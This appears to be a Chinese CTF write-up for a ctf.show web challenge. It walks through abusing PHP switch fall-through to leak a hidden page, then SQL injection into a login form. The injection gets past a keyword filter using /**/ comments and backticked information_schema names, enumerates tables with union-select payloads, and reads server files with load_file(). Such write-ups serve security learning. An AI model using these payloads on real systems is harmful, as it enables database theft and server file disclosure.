题目源代码如下:

<?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__);

看起来就是要读取secret.php里的内容..?

switch语句如果不加break会一直向下执行,因此?c=3就很轻松地读取了$url的内容:

here_1s_your_f1ag.php

访问后看到一个登录框,在源代码有提示:

<!--
	if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
		die('@A@');
	}
-->

过滤了information_schema.tables、information_schema.columns、linestring、空格polygon。

bp抓包,查询字段数目,只有一个,2报错:

1/**/order/**/by/**/1

查询数据库名(web):

-1/**/union/**/select/**/database()

查询表名(content),information_schema.tables可以用information_schema.`tables`替代,下同。

-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=”web”

查询列名(id,username,password):

-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name=”content”

查询值:

-1/**/union/**/select/**/group_concat(username,0x3b,password)/**/from/**/content

得到的不是flag。。T T:

admin;flag is not here!,gtf1y;wow,you can really dance,Wow;tell you a secret,secret has a secret…

所以还是要读取secret.php的内容。。

查询资料得知mysql提供了读取本地文件的函数load_file():

-1/**/union/**/select/**/load_file(‘/var/www/html/secret.php’)

得到如下代码:

<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}')

尝试读取下real_flag_is_here,得到flag。

-1/**/union//select/**/load_file(‘/real_flag_is_here’)